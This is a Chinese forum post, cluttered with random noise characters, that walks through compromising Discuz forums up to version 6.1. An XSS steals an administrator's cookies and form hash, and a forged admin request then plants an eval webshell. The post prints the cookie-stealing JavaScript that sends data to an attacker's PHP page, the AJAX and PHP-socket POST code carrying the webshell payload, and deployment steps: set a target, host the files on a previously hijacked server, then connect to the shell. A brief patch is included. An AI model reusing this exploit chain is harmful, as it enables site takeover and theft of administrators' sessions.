Discuz XSS得webshell
* j2 M6 |# Y# J: E# rBy racle @tian6.com
1 S4 {3 ?6 T8 t: Z欢迎转帖.但请保留版权信息.) p8 E8 r9 w, ~/ g! b! D
受影响版本 iscuz<=6.1.0,gbk+utf+big5. v3 U& i* q' p. p; j
g6 Y$ w0 L P
新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.
8 A! }6 r/ E# P/ J( p" \+ b6 |: V! O7 ?) j
; P& p5 A: p9 Y1 j
3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=87063 y7 x" {- F9 r' b# Q* q# m; A
当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.+ v- [: L+ M4 O( f
% l- ]& i4 Y: n2 d4 ~% _( e分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..# u/ U. Z' ?; ]( G8 A
本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS
: \. F3 q ~+ G8 `
% q$ d' {/ `, X& s6 ~' }% S% ^4 e/ ^' W: w- h
----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------
% H! w6 S v' K; a" ?8 A6 {- {) o' p: w2 K
: v2 S$ V3 ~4 X; C/ a3 j2 f
problem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.
* a6 P* G2 {3 V* n5 z/ o3 t+ @' S4 V: S6 d1 `+ p
problem2 ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.! H: ?& V% K$ R- b
$ q p/ W, q$ W1 oproblem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.
+ I: V* |; S, j. {4 P o5 g1 Q; X
% b# c+ {* h0 u! T0 j: E
下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {
7 r3 l; ^3 @" _( N* R
; p' G O* _/ F& z global $runwizardfile, $runwizardhistory;
# D0 I1 j$ ~" O2 T3 T0 \, ^$ c6 m- ]( \$ \# V+ H! ?% g
$fp = fopen($runwizardfile, 'w');
/ z! X; E# x r8 B3 B
! i3 `( X9 P: ]$ L; s fwrite($fp, serialize($runwizardhistory));
' P. ~& d, L2 k5 K* R" A" z& H9 n+ {' i! c/ @% g+ m" c6 ^, t
fclose($fp);8 X9 t+ p' D: Z! h2 ?& f% z+ }
. M0 V! ^; {- q+ p) ]0 s}
- K) `. Q* r4 ?3 N a. T( @复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.
0 @9 J+ u1 M3 N+ H4 k以下是修补的办法:function saverunwizardhistory() {
0 S: e3 d4 m! M6 k X8 a B
1 y/ d3 v& M, p7 ?3 A; [( s' Z; u global $runwizardfile, $runwizardhistory;
3 {5 _" c3 j3 j& g
' i% ]9 P, o: S# l; u $fp = fopen($runwizardfile, 'w');
9 ^" A- j& @, E( f! \0 ~0 `! `
- G; `6 ~* T% B; z8 A5 f" m. B: J $s = '<?php exit;?>';
" {" U5 q1 T# R1 J9 E3 b. Z5 m) Q K; u$ {. j6 o' ?5 o0 ^. Y
$s .= serialize($runwizardhistory);
4 p1 O- m. W' e
( H1 C6 Y3 J( U* \ E5 Y' _3 \ fwrite($fp, $s);& @( x( L$ P" I4 d
! S' k; D% }" G- B* p1 E fclose($fp);
4 z `) P2 F! q7 V
& I& W0 n; n1 x- p}
' \ s+ P3 ]5 k9 N( V0 H复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.
& E2 `* T& B4 D- z! Y0 b) S" r l- U( O
0 |6 p, M; X M/ o1 c$ A' v6 x7 B$ k6 S$ U5 c
----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------
# V5 @- q3 m6 A4 A* {
! z- w8 p* s& w% z3 A
' k% c5 M, |" M R 以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.
0 T/ R3 I; _+ ^0 Q6 S* E. u: p j- V( Z+ s& R* _
我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.2 E7 e7 ]6 \$ h7 N3 \4 {
- i3 u5 [. A8 U& b% \
这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.7 `" @' \$ \1 f4 D7 q" w
/ S0 d3 q0 v% R' e0 m
首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:* d# m) s- M. ~ ]
b: I {. d L1 Y2 J( ]8 L
var url="http://目标网站/admincp.php"; 0 Z( J+ D# C% E* A6 \ v; C( q
, x* O- c* ?$ d% b! j
/*获得cookies*/9 P# \2 m1 A2 |: l ?5 f
& r" i9 [" c8 Bfunction getURL(s) {
9 `4 @2 Q x1 t
, A1 C* ]% Y7 @0 Ivar image = new Image();; y) i1 B" |( J: f* c
* y; [) s% C/ z0 ^, Vimage.style.width = 0;
C, i. K9 p2 A% w. S" \0 y% x
* T8 i0 z: j( b8 }+ i7 Nimage.style.height = 0;
) x- t3 i8 g8 \' V8 I( x( o' j9 T b9 j5 Y; S. m; U
image.src = s;
, D6 ?' ~4 n- b0 o. d2 K% P1 }# A& E+ |& f7 O8 i7 |5 V0 G
}
+ v- s/ `+ S& O9 T, o
2 s$ h6 M) U/ l# J; vgetURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie)); //这里就通过image变量传给了php% \% Y) l' n7 E7 _
复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];
' c. `2 L2 t( R/ A2 P, B复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵) . P# l) u# O2 P: W
1 |$ c6 T) e% h K' M, R4 p
) l! r4 O4 a5 a1 E9 ]' |: o
获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";
( I$ u& P0 W {, [# ~2 Z2 R$ @* U1 u2 Q
+ G5 B& c. w# ^+ U0 Z. g- G
# J: z* \% K" r0 c7 h
/*hash*/
- H9 T. `* x% X: Y& c
6 l5 P8 s d! Jvar xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");
) E5 j0 b& n* [$ R
8 a/ E; {6 W' B& t6 y- L) MxmlHttpReq.open("GET", url+"admincp.php?action=home", false); m) Z! [1 t8 n6 n/ I
$ P* c8 N9 T7 P- K( y% m
xmlHttpReq.send();
% d' A7 t4 W6 ?/ d' h+ [- V0 p5 g k% O- _1 t
var resource = xmlHttpReq.responseText;
c2 f8 `9 |- M; ^/ Q& H
, `) q3 O- U% N6 ]var numero = resource.search(/formhash/);
2 `& h' U' B5 p3 y* d d6 e3 ~6 L! u v! J
var formhash=encodeURIComponent(resource.substr(numero+17,8));! w: Q2 `" n0 a0 Y+ h3 t% {
; e1 v# u/ N% P6 A4 m' b; j4 e% e( H$ U! `
* x! U* w. _( u/ j% I& Hvar post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据 " u% T* Z0 g3 C% n
. ^" @3 \& A& D1 NxmlHttpReq.open(" OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信
9 s* M0 G( s7 Q; o5 X9 f5 ^( D- f7 p5 Q, U9 C8 I
xmlHttpReq.setRequestHeader("Referer", url);8 V" m7 f, o8 ]3 o) G, W
' H3 O7 R$ [ v A6 X; ~" BxmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
6 X) ] M) @% k! X4 [+ r6 e: |
! I; J0 E: Y0 D/ mxmlHttpReq.setrequestheader("content-length",post.length); 3 g, E3 }" _1 F, u) m: F
, |; n' D! f3 L' \$ U# Z
xmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded");
9 v7 n2 ?. f1 e1 C
! |( @3 \( _2 Y8 Q7 CxmlHttpReq.send(post);//发送数据, f; ]: E6 V! Q4 ~- ?
复制代码这里HASH我假设正确,这样提交,也无须cookies/ K% j, ~- T8 ~
2 A8 d0 i# ~" Q4 q3 n2 Y( h
再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);
: Y! A1 v. t7 R
( @& _. B' P0 E: ^7 r' lif (!$sock) die("$errstr ($errno)\n");1 P- N$ T) x" ~% b: V+ y: P: F
1 o0 T1 a e7 x. m$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';; s5 c3 |; |/ ?6 j% S' u
& c' Y3 _) J& ~4 G/ }; @
+ F3 r4 u6 _5 h& t
. {0 A- w1 f& A% x5 a% Vfwrite($sock, " OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");% Z& _$ C6 N# \
7 K, _0 w+ |1 p) H6 N9 l
fwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");
( W# F' D* b8 H; y! d* k
& h! a4 g( E( Hfwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");2 b0 J% J- U- Q
& y. i3 k4 E* ^* Q: r! w8 Efwrite($sock, "Accept-Language: zh-cn\r\n");
" M- ~+ E; ]0 J0 V% t& h
1 h: F8 [) y8 W5 E" afwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");
9 a" Z6 \- p4 @9 u. z
' X/ s5 H: E8 m" m2 ~- E- o# ]fwrite($sock, "Accept-Encoding: gzip, deflate\r\n");0 [" P8 D0 `2 ]( F
- U$ V2 f- }" I5 c
fwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");
v! A; x- E. [
" X' w; ]' q% R4 S6 I# mfwrite($sock, "Host: $url\r\n");4 k0 B% p7 l: E# U
S3 _/ |5 q& o% F& h5 ?# ffwrite($sock, "Content-Length: ".strlen($data)."\r\n");; ]+ ~$ g# Q6 I- U
6 g4 X) _4 X& ~( I1 B. G5 q
fwrite($sock, "Connection: Keep-Alive\r\n");
' @! G. K" n1 I5 _2 B% F4 I* c0 B. z9 X+ N" U) e; {
fwrite($sock, "Cache-Control: no-cache\r\n");
% ^( Q! r. |+ _
" Q) M5 l4 D- ?* u7 L# S# B5 _/ @fwrite($sock, "Cookie:".$cookies."\r\n\r\n");( k4 A5 D! f1 J% ^
- m0 t* {2 r8 `; F
fwrite($sock, $data);
8 Z% m8 h( |* G9 g3 _- b- [* i6 C0 D$ W# [7 C( M+ R
) ^8 e1 _: R7 |/ A
3 j! p2 Y* j5 @9 R1 `+ L# X, W' G$headers = "";: Q# [2 p' l- I4 ]) `/ K$ Q5 ^. n
8 W! Y4 w( l. d" D1 p- L
while ($str = trim(fgets($sock, 4096)))! O# ~2 i1 r4 @* l$ j3 {+ V% T
8 |# w" R9 Q! A$ X0 B- J
$headers .= "$str\n";% k; |. v1 L' E0 X& h$ ], n7 ~
8 W3 G: ?3 @8 e0 [" H1 fecho "\n"; M7 F- e7 R5 `7 a
: r& Y% S, @( m$body = "";
l$ P6 D7 g/ V' M" ^
8 G8 q( }& b( ^- n+ L9 ~while (!feof($sock))6 w3 r4 K" t y0 X+ t
4 X+ [) x, K) G# ^( o! C' I $body .= fgets($sock, 4096);
3 B9 b7 e, b [* V7 |. k8 M
2 T4 {( k8 X& n7 w$ y$ Mfclose($sock);
% e: z$ X2 w. t, L, W3 `" D1 G+ U8 B$ _: v1 V& v
echo $body;* B. F" p6 z+ i: d* Q/ |
复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^; u, |$ N7 E% T% S0 z) B
& m& [: R6 o- r' z" O {
& }7 ] O- k' C0 @-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------
8 R* {. q, b+ @$ O0 x8 Q. b" u4 O+ n6 J/ K; H& J( F
) R' b T+ E4 @
1 HP SOCKET利用方法首先打开racle.js
' W4 Q/ B5 Y$ R; n" G N9 h3 ^' Z$ `- C) r' x _! g
var url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home
% D6 c6 {9 g9 n5 t
& A6 H: ^. H3 a f! b
% z) Q' u, ^& q% o6 t% \ \ l3 g' q5 U
然后打开racle@tian6.php( a4 l% z8 l0 N/ v) ?
8 O# W$ o7 Z# @. F2 B$url="racle@tian6.com"; //改成你要XSS攻击的目标,譬如www.discuz.com, D6 F2 F' c$ H2 x' O) J% l
3 X3 f3 _% P4 E; T+ @
2 s7 L- r8 h8 k
# W3 @8 D# a5 @0 A) z6 x
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:- P6 v0 t/ K2 J L9 Q
2 G, m- L+ H' Z' d& q$ [3 M% @
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));8 x5 L/ {) D2 C) w9 T
; A7 ~) ^( p; }6 d2 b' e( J
为" [( u" |2 @$ m1 P" r
- N# C0 f6 g6 u* @- ]/ _% e
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));) `$ o9 q+ d- d! T$ W
复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.# h' E2 b2 w9 A! m) y
5 f0 _0 ?# Z5 K+ U- R. @; z2 U! h
# \; D) ?$ c m
$ @' p! E$ a3 r Y& D2 c1 q. Y如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
9 \( q2 g9 J& }+ D( I5 F! E- `; E @9 c0 K1 i; t
var formhash=encodeURIComponent(resource.substr(numero+17,8));) t N8 ]8 {1 @$ t5 n5 d& q& ]
) P) t% M& h9 ?" ], f' P( @
为
. ~! g' y) c6 {5 \' c
! }* @7 E- }7 e. bvar formhash=encodeURIComponent(resource.substr(numero+9,8));, J+ Z8 o3 v4 h
复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.: z1 A3 t1 X! S7 t" o
! T- o7 t9 t7 C2 F! z如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.
7 z; v9 o* U2 W# W. b, y* a/ m
$ i! A5 B2 ?/ V如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.9 y$ w9 a) o1 S
: S6 x5 n0 ~" h/ u3 J
不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.9 L& ^. N! N: u8 E: w
8 [1 [- i$ F% A9 e6 y& X6 q/ W |